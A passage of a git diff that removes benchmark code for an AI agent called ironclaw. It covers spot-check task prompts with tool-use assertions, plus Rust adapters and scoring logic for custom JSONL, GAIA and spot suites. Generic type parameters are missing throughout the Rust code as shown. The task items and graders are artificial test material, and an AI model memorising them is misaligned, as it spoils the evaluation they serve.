"prompt": "Use the shell tool to run: echo 'benchmark test'", "tags": ["tool"], "assertions": {"tools_used": ["shell"], "response_contains": ["benchmark test"], "no_error": true}} -{"id": "tool-list-dir", "prompt": "Use the list_dir tool to list the contents of the /tmp directory.", "tags": ["tool"], "assertions": {"tools_used": ["list_dir"], "no_error": true}} -{"id": "chain-write-read", "prompt": "Write the text 'ironclaw spot check' to /tmp/ironclaw_spot_test.txt using the write_file tool, then read it back using the read_file tool and tell me what it says.", "tags": ["chain"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["ironclaw spot check"], "no_error": true}} -{"id": "chain-shell-json", "prompt": "Run a shell command to output the JSON string '{\"status\": \"ok\", \"code\": 200}', then use the json tool to extract the status field.", "tags": ["chain"], "assertions": {"response_contains": ["ok"], "min_tool_calls": 1, "no_error": true}} -{"id": "chain-time-echo", "prompt": "First get the current time using the time tool, then use the echo tool to repeat it back.", "tags": ["chain"], "assertions": {"tools_used": ["time", "echo"], "no_error": true}} -{"id": "robust-no-tool", "prompt": "What is the capital of France? Answer directly without using any tools.", "tags": ["robust"], "assertions": {"response_contains": ["Paris"], "max_tool_calls": 0, "no_error": true}} -{"id": "robust-correct-tool", "prompt": "What time is it right now?", "tags": ["robust"], "assertions": {"tools_used": ["time"], "tools_not_used": ["shell", "echo"], "no_error": true}} -{"id": "robust-json-validate", "prompt": "Use the json tool to validate whether this is valid JSON: {\"key\": \"value\", \"num\": 42}", "tags": ["robust"], "assertions": {"tools_used": ["json"], "tools_not_used": ["shell"], "no_error": true}} -{"id": "memory-save-daily", "prompt": "Save these daily tasks to /tmp/bench-daily.md:\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\nThen read the file back and confirm what was saved.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PR #42", "docs", "staging"], "no_error": true}} -{"id": "memory-save-reminder", "prompt": "Write a reminder to /tmp/bench-reminder.md: Dentist appointment on March 5th at 2pm with Dr. Smith. Then read the file back and tell me when the appointment is and with whom.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["March 5", "Smith"], "response_matches": "2(:00)?\\s*[Pp][Mm]", "no_error": true}} -{"id": "memory-save-meeting", "prompt": "Save these meeting notes to /tmp/bench-meeting.md:\nMeeting: Project Phoenix sync\nAttendees: Alice, Bob, Carol\nDecisions:\n- Launch date: April 15th\n- Budget: $50k approved\n- Bob owns frontend, Carol owns backend\nThen read the file back and tell me who owns the frontend and what the launch date is.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["Bob", "frontend", "April 15"], "no_error": true}} -{"id": "memory-append-log", "prompt": "Write 'Morning standup: discussed blockers on auth service' to /tmp/bench-log.md. Then append a new line 'Afternoon: resolved API timeout issue in payment gateway' to the same file. Finally read the full file and summarize what happened.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["auth", "timeout"], "min_tool_calls": 3, "no_error": true}} -{"id": "memory-recall-detail", "prompt": "Save the following project context to /tmp/bench-project.md:\nProject Ironclad uses Rust for the backend, React for the frontend, and PostgreSQL for the database. The API is deployed on AWS ECS. The lead developer is Sarah and the PM is James. The sprint ends on March 20th.\nThen read it back and answer: What database does the project use, and who is the PM?", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PostgreSQL", "James"], "no_error": true}} -{"id": "memory-todo-priority", "prompt": "Write the following to /tmp/bench-todo.md:\n- [ ] Fix login bug (priority: HIGH)\n- [ ] Write unit tests (priority: medium)\n- [ ] Update README (priority: low)\n- [ ] Security audit (priority: HIGH)\nThen read it back and tell me which tasks are high priority.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["login bug", "security audit"], "no_error": true}} -{"id": "memory-multifile", "prompt": "Save 'Team standup at 9am, then client demo at 2pm' to /tmp/bench-monday.md and 'Sprint retro at 11am, team lunch at noon' to /tmp/bench-tuesday.md. Then read both files and tell me what's happening on Tuesday.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["retro", "lunch"], "min_tool_calls": 3, "no_error": true}} -{"id": "memory-update-context", "prompt": "Write 'User preference: dark mode, timezone: PST, language: English' to /tmp/bench-prefs.md. Then read it back, and rewrite the file changing the timezone to EST. Finally read it one more time and confirm the timezone is now EST.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["EST"], "min_tool_calls": 4, "no_error": true}} diff --git a/benchmarks/spot.toml b/benchmarks/spot.toml deleted file mode 100644 index bf118e79..00000000 --- a/benchmarks/spot.toml +++ /dev/null @@ -1,8 +0,0 @@ -task_timeout = "120s" -parallelism = 1 - -[[matrix]] -label = "default" - -[suite_config] -dataset_path = "benchmarks/data/spot.jsonl" diff --git a/benchmarks/src/adapters/custom.rs b/benchmarks/src/adapters/custom.rs deleted file mode 100644 index 31559002..00000000 --- a/benchmarks/src/adapters/custom.rs +++ /dev/null @@ -1,243 +0,0 @@ -use std::io::BufRead; -use std::path::PathBuf; - -use async_trait::async_trait; -use serde::Deserialize; - -use crate::error::BenchError; -use crate::scoring; -use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission}; - -/// A single entry in the custom JSONL format. -#[derive(Debug, Deserialize)] -struct CustomEntry { - id: String, - prompt: String, - #[serde(default)] - context: Option, - #[serde(default)] - tags: Vec, - #[serde(default)] - expected: Option, - #[serde(default)] - expected_contains: Option, - #[serde(default)] - expected_regex: Option, - /// "exact", "contains", "regex", or "llm" (default: "exact") - #[serde(default = "default_scorer")] - scorer: String, -} - -fn default_scorer() -> String { - "exact".to_string() -} - -/// Custom JSONL benchmark suite. -/// -/// Each line of the JSONL file is a task with `id`, `prompt`, and scoring -/// criteria (`expected`, `expected_contains`, `expected_regex`). -pub struct CustomSuite { - dataset_path: PathBuf, -} - -impl CustomSuite { - pub fn new(dataset_path: impl Into) -> Self { - Self { - dataset_path: dataset_path.into(), - } - } -} - -#[async_trait] -impl BenchSuite for CustomSuite { - fn name(&self) -> &str { - "Custom JSONL" - } - - fn id(&self) -> &str { - "custom" - } - - async fn load_tasks(&self) -> Result, BenchError> { - let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?; - let reader = std::io::BufReader::new(file); - let mut tasks = Vec::new(); - - for (line_num, line) in reader.lines().enumerate() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let entry: CustomEntry = serde_json::from_str(trimmed) - .map_err(|e| BenchError::Config(format!("line {}: {}", line_num + 1, e)))?; - - let mut metadata = serde_json::json!({ - "scorer": entry.scorer, - }); - if let Some(ref expected) = entry.expected { - metadata["expected"] = serde_json::Value::String(expected.clone()); - } - if let Some(ref expected_contains) = entry.expected_contains { - metadata["expected_contains"] = - serde_json::Value::String(expected_contains.clone()); - } - if let Some(ref expected_regex) = entry.expected_regex { - metadata["expected_regex"] = serde_json::Value::String(expected_regex.clone()); - } - - tasks.push(BenchTask { - id: entry.id, - prompt: entry.prompt, - context: entry.context, - resources: vec![], - tags: entry.tags, - expected_turns: None, - timeout: None, - metadata, - }); - } - - Ok(tasks) - } - - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result { - let scorer = task - .metadata - .get("scorer") - .and_then(|v| v.as_str()) - .unwrap_or("exact"); - - match scorer { - "exact" => { - if let Some(expected) = task.metadata.get("expected").and_then(|v| v.as_str()) { - Ok(scoring::exact_match(expected, &submission.response)) - } else { - Err(BenchError::Scoring { - task_id: task.id.clone(), - reason: "no 'expected' field for exact scoring".to_string(), - }) - } - } - "contains" => { - if let Some(expected) = task - .metadata - .get("expected_contains") - .and_then(|v| v.as_str()) - { - Ok(scoring::contains_match(expected, &submission.response)) - } else { - Err(BenchError::Scoring { - task_id: task.id.clone(), - reason: "no 'expected_contains' field for contains scoring".to_string(), - }) - } - } - "regex" => { - if let Some(pattern) = task.metadata.get("expected_regex").and_then(|v| v.as_str()) - { - Ok(scoring::regex_match(pattern, &submission.response)) - } else { - Err(BenchError::Scoring { - task_id: task.id.clone(), - reason: "no 'expected_regex' field for regex scoring".to_string(), - }) - } - } - "llm" => { - // TODO: LLM-as-judge scoring - tracing::warn!( - task_id = %task.id, - "LLM-as-judge scoring not implemented, returning placeholder 0.5" - ); - Ok(BenchScore::partial(0.5, "LLM scoring not yet implemented")) - } - other => Err(BenchError::Scoring { - task_id: task.id.clone(), - reason: format!("unknown scorer: {other}"), - }), - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::io::Write; - - #[tokio::test] - async fn test_custom_load_tasks() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("tasks.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"# - ) - .unwrap(); - writeln!( - file, - r#"{{"id": "t2", "prompt": "Say hello", "expected_contains": "hello", "scorer": "contains"}}"# - ) - .unwrap(); - - let suite = CustomSuite::new(&path); - let tasks = suite.load_tasks().await.unwrap(); - assert_eq!(tasks.len(), 2); - assert_eq!(tasks[0].id, "t1"); - assert_eq!(tasks[1].id, "t2"); - } - - #[tokio::test] - async fn test_custom_exact_scoring() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("tasks.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"# - ) - .unwrap(); - - let suite = CustomSuite::new(&path); - let tasks = suite.load_tasks().await.unwrap(); - - let submission = TaskSubmission { - response: "4".to_string(), - conversation: vec![], - tool_calls: vec![], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 1.0); - assert_eq!(score.label, "pass"); - } - - #[tokio::test] - async fn test_custom_contains_scoring() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("tasks.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "t1", "prompt": "Greet me", "expected_contains": "hello", "scorer": "contains"}}"# - ) - .unwrap(); - - let suite = CustomSuite::new(&path); - let tasks = suite.load_tasks().await.unwrap(); - - let submission = TaskSubmission { - response: "Hello there!".to_string(), - conversation: vec![], - tool_calls: vec![], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 1.0); - } -} diff --git a/benchmarks/src/adapters/gaia.rs b/benchmarks/src/adapters/gaia.rs deleted file mode 100644 index 5142babf..00000000 --- a/benchmarks/src/adapters/gaia.rs +++ /dev/null @@ -1,183 +0,0 @@ -use std::io::BufRead; -use std::path::PathBuf; - -use async_trait::async_trait; -use serde::Deserialize; - -use crate::error::BenchError; -use crate::scoring; -use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskResource, TaskSubmission}; - -/// GAIA dataset entry (Hugging Face JSONL format). -#[derive(Debug, Deserialize)] -struct GaiaEntry { - task_id: String, - #[serde(alias = "Question")] - question: String, - #[serde(alias = "Final answer", alias = "final_answer")] - final_answer: String, - #[serde(alias = "Level", default)] - level: Option, - #[serde(alias = "file_name", default)] - file_name: Option, -} - -/// GAIA benchmark suite. -/// -/// Tasks are loaded from HuggingFace JSONL exports. Scoring uses normalized -/// exact match against the `final_answer` field. -pub struct GaiaSuite { - dataset_path: PathBuf, - attachments_dir: Option, -} - -impl GaiaSuite { - pub fn new( - dataset_path: impl Into, - attachments_dir: Option>, - ) -> Self { - Self { - dataset_path: dataset_path.into(), - attachments_dir: attachments_dir.map(|d| d.into()), - } - } -} - -#[async_trait] -impl BenchSuite for GaiaSuite { - fn name(&self) -> &str { - "GAIA" - } - - fn id(&self) -> &str { - "gaia" - } - - async fn load_tasks(&self) -> Result, BenchError> { - let file = std::fs::File::open(&self.dataset_path)?; - let reader = std::io::BufReader::new(file); - let mut tasks = Vec::new(); - - for (line_num, line) in reader.lines().enumerate() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let entry: GaiaEntry = serde_json::from_str(trimmed) - .map_err(|e| BenchError::Config(format!("GAIA line {}: {}", line_num + 1, e)))?; - - let mut resources = Vec::new(); - if let Some(ref file_name) = entry.file_name { - if !file_name.is_empty() { - if let Some(ref dir) = self.attachments_dir { - resources.push(TaskResource { - name: file_name.clone(), - path: dir.join(file_name).to_string_lossy().to_string(), - resource_type: crate::suite::ResourceType::File, - }); - } - } - } - - let mut tags = Vec::new(); - if let Some(level) = entry.level { - tags.push(format!("level-{level}")); - } - - let metadata = serde_json::json!({ - "expected": entry.final_answer, - "level": entry.level, - }); - - tasks.push(BenchTask { - id: entry.task_id, - prompt: entry.question, - context: None, - resources, - tags, - expected_turns: None, - timeout: None, - metadata, - }); - } - - Ok(tasks) - } - - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result { - let expected = task - .metadata - .get("expected") - .and_then(|v| v.as_str()) - .ok_or_else(|| BenchError::Scoring { - task_id: task.id.clone(), - reason: "missing expected answer in metadata".to_string(), - })?; - - Ok(scoring::exact_match(expected, &submission.response)) - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::io::Write; - - #[tokio::test] - async fn test_gaia_load_tasks() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("gaia.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"task_id": "g1", "question": "What is the capital of France?", "final_answer": "Paris", "Level": 1}}"# - ) - .unwrap(); - - let suite = GaiaSuite::new(&path, None::); - let tasks = suite.load_tasks().await.unwrap(); - assert_eq!(tasks.len(), 1); - assert_eq!(tasks[0].id, "g1"); - assert!(tasks[0].tags.contains(&"level-1".to_string())); - } - - #[tokio::test] - async fn test_gaia_scoring() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("gaia.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"task_id": "g1", "question": "Capital of France?", "final_answer": "Paris"}}"# - ) - .unwrap(); - - let suite = GaiaSuite::new(&path, None::); - let tasks = suite.load_tasks().await.unwrap(); - - // Exact match (case insensitive) - let submission = TaskSubmission { - response: "paris".to_string(), - conversation: vec![], - tool_calls: vec![], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 1.0); - - // Wrong answer - let submission = TaskSubmission { - response: "London".to_string(), - conversation: vec![], - tool_calls: vec![], - error: None, - }; - let score = suite.score(&tasks[0], &submission).await.unwrap(); - assert_eq!(score.value, 0.0); - } -} diff --git a/benchmarks/src/adapters/mod.rs b/benchmarks/src/adapters/mod.rs deleted file mode 100644 index 00f562df..00000000 --- a/benchmarks/src/adapters/mod.rs +++ /dev/null @@ -1,124 +0,0 @@ -pub mod custom; -pub mod gaia; -pub mod spot; -pub mod swe_bench; -pub mod tau_bench; - -use crate::config::BenchConfig; -use crate::error::BenchError; -use crate::suite::BenchSuite; - -/// List of all known suite IDs. -pub const KNOWN_SUITES: &[(&str, &str)] = &[ - ("custom", "Custom JSONL tasks"), - ("gaia", "GAIA benchmark (knowledge & reasoning)"), - ("spot", "Spot checks (end-to-end user workflows)"), - ("tau_bench", "Tau-bench (multi-turn tool use)"), - ("swe_bench", "SWE-bench Pro (software engineering)"), -]; - -/// Create a suite adapter by name. -pub fn create_suite(name: &str, config: &BenchConfig) -> Result, BenchError> { - let suite_map = config.suite_config_map(); - match name { - "custom" => { - let dataset_path = suite_map - .get("dataset_path") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - .ok_or_else(|| { - BenchError::Config( - "suite_config.dataset_path is required for 'custom' suite".to_string(), - ) - })?; - Ok(Box::new(custom::CustomSuite::new(dataset_path))) - } - "gaia" => { - let dataset_path = suite_map - .get("dataset_path") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - .ok_or_else(|| { - BenchError::Config( - "suite_config.dataset_path is required for 'gaia' suite".to_string(), - ) - })?; - let attachments_dir = suite_map - .get("attachments_dir") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()); - Ok(Box::new(gaia::GaiaSuite::new( - dataset_path, - attachments_dir, - ))) - } - "spot" => { - let dataset_path = suite_map - .get("dataset_path") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - .ok_or_else(|| { - BenchError::Config( - "suite_config.dataset_path is required for 'spot' suite".to_string(), - ) - })?; - Ok(Box::new(spot::SpotSuite::new(dataset_path))) - } - "tau_bench" => { - let dataset_path = suite_map - .get("dataset_path") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - .ok_or_else(|| { - BenchError::Config( - "suite_config.dataset_path is required for 'tau_bench' suite".to_string(), - ) - })?; - let domain = suite_map - .get("domain") - .and_then(|v| v.as_str()) - .unwrap_or("retail") - .to_string(); - Ok(Box::new(tau_bench::TauBenchSuite::new( - dataset_path, - domain, - ))) - } - "swe_bench" => { - let dataset_path = suite_map - .get("dataset_path") - .and_then(|v| v.as_str()) - .map(|s| s.to_string()) - .ok_or_else(|| { - BenchError::Config( - "suite_config.dataset_path is required for 'swe_bench' suite".to_string(), - ) - })?; - let workspace_dir = suite_map - .get("workspace_dir") - .and_then(|v| v.as_str()) - .unwrap_or("/tmp/swe-bench") - .to_string(); - let use_docker = suite_map - .get("use_docker") - .and_then(|v| v.as_bool()) - .unwrap_or(false); - Ok(Box::new(swe_bench::SweBenchSuite::new( - dataset_path, - workspace_dir, - use_docker, - ))) - } - _ => { - let available = KNOWN_SUITES - .iter() - .map(|(id, _)| *id) - .collect::>() - .join(", "); - Err(BenchError::SuiteNotFound { - name: name.to_string(), - available, - }) - } - } -} diff --git a/benchmarks/src/adapters/spot.rs b/benchmarks/src/adapters/spot.rs deleted file mode 100644 index 77e8d0fa..00000000 --- a/benchmarks/src/adapters/spot.rs +++ /dev/null @@ -1,504 +0,0 @@ -use std::collections::HashSet; -use std::io::BufRead; -use std::path::PathBuf; -use std::sync::Arc; - -use async_trait::async_trait; -use regex::Regex; -use serde::{Deserialize, Serialize}; - -use crate::error::BenchError; -use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission}; - -/// Multi-criterion assertions for a spot check scenario. -/// -/// Each field generates one or more individual checks. The final score is -/// `passed_checks / total_checks`, giving a value between 0.0 and 1.0. -#[derive(Debug, Clone, Default, Serialize, Deserialize)] -pub struct SpotAssertions { - /// All must appear in the response (case-insensitive). - #[serde(default)] - pub response_contains: Vec, - - /// None may appear in the response (case-insensitive). - #[serde(default)] - pub response_not_contains: Vec, - - /// Each tool name must appear in the tool_calls list (checked by name, - /// not by count; duplicates in tool_calls are collapsed). - #[serde(default)] - pub tools_used: Vec, - - /// None of these tool names may appear in the tool_calls list. - #[serde(default)] - pub tools_not_used: Vec, - - /// Regex pattern the response must match. - #[serde(default)] - pub response_matches: Option, - - /// Hard fail if the task produced an error. - #[serde(default)] - pub no_error: bool, - - /// Minimum number of tool calls expected (counts duplicates). - #[serde(default)] - pub min_tool_calls: Option, - - /// Maximum number of tool calls allowed (counts duplicates). - #[serde(default)] - pub max_tool_calls: Option, -} - -impl SpotAssertions { - /// Evaluate all assertions against a submission, returning (score, failure_details). - pub fn evaluate(&self, submission: &TaskSubmission) -> (f64, Vec) { - let mut passed: usize = 0; - let mut total: usize = 0; - let mut failures: Vec = Vec::new(); - - // Hard fail: error check - if self.no_error { - total += 1; - if let Some(ref err) = submission.error { - failures.push(format!("no_error: task errored with: {err}")); - // Hard fail: return 0.0 immediately - return (0.0, failures); - } - passed += 1; - } - - let response_lower = submission.response.to_lowercase(); - - // response_contains: all must appear - for needle in &self.response_contains { - total += 1; - if response_lower.contains(&needle.to_lowercase()) { - passed += 1; - } else { - failures.push(format!("response_contains: missing \"{needle}\"")); - } - } - - // response_not_contains: none may appear - for needle in &self.response_not_contains { - total += 1; - if response_lower.contains(&needle.to_lowercase()) { - failures.push(format!("response_not_contains: found \"{needle}\"")); - } else { - passed += 1; - } - } - - let tool_set: HashSet<&str> = submission.tool_calls.iter().map(|s| s.as_str()).collect(); - - // tools_used: each must appear - for tool in &self.tools_used { - total += 1; - if tool_set.contains(tool.as_str()) { - passed += 1; - } else { - failures.push(format!("tools_used: \"{tool}\" not called")); - } - } - - // tools_not_used: none may appear - for tool in &self.tools_not_used { - total += 1; - if tool_set.contains(tool.as_str()) { - failures.push(format!("tools_not_used: \"{tool}\" was called")); - } else { - passed += 1; - } - } - - // response_matches: regex pattern - if let Some(ref pattern) = self.response_matches { - total += 1; - match Regex::new(pattern) { - Ok(re) => { - if re.is_match(&submission.response) { - passed += 1; - } else { - failures.push(format!("response_matches: /{pattern}/ did not match")); - } - } - Err(e) => { - failures.push(format!("response_matches: bad regex: {e}")); - } - } - } - - let call_count = submission.tool_calls.len(); - - // min_tool_calls - if let Some(min) = self.min_tool_calls { - total += 1; - if call_count >= min { - passed += 1; - } else { - failures.push(format!( - "min_tool_calls: expected >= {min}, got {call_count}" - )); - } - } - - // max_tool_calls - if let Some(max) = self.max_tool_calls { - total += 1; - if call_count <= max { - passed += 1; - } else { - failures.push(format!( - "max_tool_calls: expected <= {max}, got {call_count}" - )); - } - } - - if total == 0 { - return (1.0, failures); - } - - let score = passed as f64 / total as f64; - (score, failures) - } -} - -/// JSONL entry for a spot check scenario. -#[derive(Debug, Deserialize)] -struct SpotEntry { - id: String, - prompt: String, - #[serde(default)] - context: Option, - #[serde(default)] - tags: Vec, - #[serde(default)] - assertions: SpotAssertions, -} - -/// Spot benchmark suite: end-to-end checks for real user workflows. -/// -/// Tests conversation, individual tool use, multi-tool chaining, and robustness. -/// Each task declares multi-criterion assertions scored as passed/total. -pub struct SpotSuite { - dataset_path: PathBuf, -} - -impl SpotSuite { - pub fn new(dataset_path: impl Into) -> Self { - Self { - dataset_path: dataset_path.into(), - } - } -} - -#[async_trait] -impl BenchSuite for SpotSuite { - fn name(&self) -> &str { - "Spot Checks" - } - - fn id(&self) -> &str { - "spot" - } - - async fn load_tasks(&self) -> Result, BenchError> { - let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?; - let reader = std::io::BufReader::new(file); - let mut tasks = Vec::new(); - - for (line_num, line) in reader.lines().enumerate() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let entry: SpotEntry = serde_json::from_str(trimmed) - .map_err(|e| BenchError::Config(format!("spot line {}: {}", line_num + 1, e)))?; - - let metadata = serde_json::json!({ - "assertions": serde_json::to_value(&entry.assertions) - .map_err(|e| BenchError::Config(format!("spot {}: {}", entry.id, e)))?, - }); - - tasks.push(BenchTask { - id: entry.id, - prompt: entry.prompt, - context: entry.context, - resources: vec![], - tags: entry.tags, - expected_turns: None, - timeout: None, - metadata, - }); - } - - Ok(tasks) - } - - async fn score( - &self, - task: &BenchTask, - submission: &TaskSubmission, - ) -> Result { - let assertions: SpotAssertions = task - .metadata - .get("assertions") - .ok_or_else(|| BenchError::Scoring { - task_id: task.id.clone(), - reason: "missing assertions in metadata".to_string(), - }) - .and_then(|v| { - serde_json::from_value(v.clone()).map_err(|e| BenchError::Scoring { - task_id: task.id.clone(), - reason: format!("bad assertions: {e}"), - }) - })?; - - let (score, failures) = assertions.evaluate(submission); - - if score >= 1.0 { - Ok(BenchScore::pass()) - } else if score <= 0.0 { - Ok(BenchScore::fail(failures.join("; "))) - } else { - Ok(BenchScore::partial(score, failures.join("; "))) - } - } - - fn additional_tools(&self) -> Vec> { - vec![ - Arc::new(ironclaw::tools::builtin::ShellTool::new()), - Arc::new(ironclaw::tools::builtin::ReadFileTool::new()), - Arc::new(ironclaw::tools::builtin::WriteFileTool::new()), - Arc::new(ironclaw::tools::builtin::ListDirTool::new()), - Arc::new(ironclaw::tools::builtin::ApplyPatchTool::new()), - ] - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::io::Write; - - fn make_submission( - response: &str, - tool_calls: Vec<&str>, - error: Option<&str>, - ) -> TaskSubmission { - TaskSubmission { - response: response.to_string(), - conversation: vec![], - tool_calls: tool_calls.into_iter().map(|s| s.to_string()).collect(), - error: error.map(|s| s.to_string()), - } - } - - #[test] - fn test_all_pass() { - let assertions = SpotAssertions { - response_contains: vec!["hello".to_string()], - tools_used: vec!["echo".to_string()], - no_error: true, - ..Default::default() - }; - let sub = make_submission("Hello, world!", vec!["echo"], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - assert!(failures.is_empty()); - } - - #[test] - fn test_hard_fail_on_error() { - let assertions = SpotAssertions { - no_error: true, - response_contains: vec!["hello".to_string()], - ..Default::default() - }; - let sub = make_submission("Hello!", vec![], Some("timeout after 60s")); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 0.0); - assert!(failures[0].contains("no_error")); - } - - #[test] - fn test_partial_score() { - let assertions = SpotAssertions { - response_contains: vec!["alpha".to_string(), "beta".to_string()], - ..Default::default() - }; - let sub = make_submission("alpha is here but not the other", vec![], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 0.5); - assert_eq!(failures.len(), 1); - assert!(failures[0].contains("beta")); - } - - #[test] - fn test_response_not_contains() { - let assertions = SpotAssertions { - response_not_contains: vec!["error".to_string(), "fail".to_string()], - ..Default::default() - }; - let sub = make_submission("This is an error message", vec![], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 0.5); - assert_eq!(failures.len(), 1); - assert!(failures[0].contains("error")); - } - - #[test] - fn test_tools_used_and_not_used() { - let assertions = SpotAssertions { - tools_used: vec!["time".to_string()], - tools_not_used: vec!["shell".to_string(), "echo".to_string()], - ..Default::default() - }; - let sub = make_submission("The time is now", vec!["time"], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - assert!(failures.is_empty()); - } - - #[test] - fn test_tools_not_used_fails() { - let assertions = SpotAssertions { - tools_not_used: vec!["shell".to_string()], - ..Default::default() - }; - let sub = make_submission("result", vec!["shell", "time"], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 0.0); - } - - #[test] - fn test_response_matches_regex() { - let assertions = SpotAssertions { - response_matches: Some(r"\d{4}".to_string()), - ..Default::default() - }; - let sub = make_submission("The year is 2026", vec![], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - assert!(failures.is_empty()); - } - - #[test] - fn test_response_matches_regex_fail() { - let assertions = SpotAssertions { - response_matches: Some(r"^\d+$".to_string()), - ..Default::default() - }; - let sub = make_submission("not a number", vec![], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 0.0); - } - - #[test] - fn test_min_max_tool_calls() { - let assertions = SpotAssertions { - min_tool_calls: Some(2), - max_tool_calls: Some(4), - ..Default::default() - }; - - // Within range - let sub = make_submission("ok", vec!["a", "b", "c"], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - - // Too few - let sub = make_submission("ok", vec!["a"], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 0.5); - assert!(failures[0].contains("min_tool_calls")); - - // Too many - let sub = make_submission("ok", vec!["a", "b", "c", "d", "e"], None); - let (score, failures) = assertions.evaluate(&sub); - assert_eq!(score, 0.5); - assert!(failures[0].contains("max_tool_calls")); - } - - #[test] - fn test_max_zero_tool_calls() { - let assertions = SpotAssertions { - max_tool_calls: Some(0), - ..Default::default() - }; - let sub = make_submission("just talking", vec![], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - - let sub = make_submission("oops", vec!["echo"], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 0.0); - } - - #[test] - fn test_empty_assertions() { - let assertions = SpotAssertions::default(); - let sub = make_submission("anything", vec!["whatever"], None); - let (score, _) = assertions.evaluate(&sub); - assert_eq!(score, 1.0); - } - - #[tokio::test] - async fn test_spot_load_tasks() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("spot.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "s1", "prompt": "Hello", "tags": ["smoke"], "assertions": {{"response_contains": ["hello"], "no_error": true}}}}"# - ) - .unwrap(); - writeln!( - file, - r#"{{"id": "s2", "prompt": "Echo test", "assertions": {{"tools_used": ["echo"]}}}}"# - ) - .unwrap(); - - let suite = SpotSuite::new(&path); - let tasks = suite.load_tasks().await.unwrap(); - assert_eq!(tasks.len(), 2); - assert_eq!(tasks[0].id, "s1"); - assert_eq!(tasks[1].id, "s2"); - assert!(tasks[0].tags.contains(&"smoke".to_string())); - } - - #[tokio::test] - async fn test_spot_scoring() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("spot.jsonl"); - let mut file = std::fs::File::create(&path).unwrap(); - writeln!( - file, - r#"{{"id": "s1", "prompt": "Hello", "assertions": {{"response_contains": ["hello", "world"], "no_error": true}}}}"# - ) - .unwrap(); - - let suite = SpotSuite::new(&path); - let tasks = suite.load_tasks().await.unwrap(); - - // Full pass - let sub = make_submission("Hello World!", vec![], None); - let score = suite.score(&tasks[0], &sub).await.unwrap(); - assert_eq!(score.value, 1.0); - assert_eq!(score.label, "pass"); - - // Partial - let sub = make_submission("Hello there", vec![], None); - let score = suite.score(&tasks[0], &sub).await.unwrap(); - assert!(score.value > 0.0 && score.value < 1.0); - assert_eq!(score.label, "partial"); - - // Error hard fail - let sub = make_submission("Hello World!", vec![], Some("boom")); - let score = suite.score(&tasks[0], &sub).await.unwrap(); - assert_eq!(score.value, 0.0); - assert_eq!(score.label, "fail"); - } -} diff --git a/benchmarks/src/adapters/swe_bench.rs b/benchmarks/src/adapters/swe_bench.rs deleted file mode 100644 index 5f6c0b84..00000000 --- a/benchmarks/src/adapters/swe_bench.rs +++ /dev/null @@ -1,416 +0,0 @@ -use std::io::BufRead; 